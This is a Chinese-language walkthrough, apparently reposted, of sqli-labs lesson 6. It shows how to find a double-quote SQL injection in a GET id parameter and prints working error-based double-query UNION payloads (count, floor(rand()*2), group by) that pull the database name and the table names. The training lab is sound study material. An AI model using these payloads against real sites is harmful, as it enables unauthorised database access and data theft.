当前位置: 代码迷 >> 综合 >> sql-labs练习(六)-----GET-Double injection-Double Quotes-String
  详细解决方案

sql-labs练习(六)-----GET-Double injection-Double Quotes-String

热度:47   发布时间:2023-09-23 00:59:39.0

sql-labs练习(六)-----GET-Double injection-Double Quotes-String

输入参数id的值1
sql-labs练习(六)-----GET-Double injection-Double Quotes-String
输入1'
sql-labs练习(六)-----GET-Double injection-Double Quotes-String
通过以上测试结果可以推断出,sql查询语句中使用到了双引号"",因为参数1'有回显You are in...........

再次测试,输入1",注意这里是双引号,不是两个单引号,出现报错信息
sql-labs练习(六)-----GET-Double injection-Double Quotes-String

现在,可以推断出的就是,回显只有两种情况,
1.You are in...........
2.报错信息

注意看报错信息or the right syntax to use near '"1"" LIMIT 0,1' at line 1
发现报错的原因是我们输入的参数中将左边的双引号闭合了,导致sql语句中原来的右边的双引号没有闭合,OK,知道了问题的根源,那么我们就来构造sql语句,这里我们可以将sql查询语句源码中的双引号注释掉,构造以下语句
1"%23
可以看到,语句正常通过,没有报错
sql-labs练习(六)-----GET-Double injection-Double Quotes-String

那么接下来就是老套路了,利用我们神奇的union关键字,获取我们想要的信息

获取当前数据库名0" union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a%23
sql-labs练习(六)-----GET-Double injection-Double Quotes-String

获取数据库security中的表名
0" union select count(*),2,concat('/',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'/',floor(rand()*2))as a from information_schema.tables group by a%23
sql-labs练习(六)-----GET-Double injection-Double Quotes-String

  相关解决方案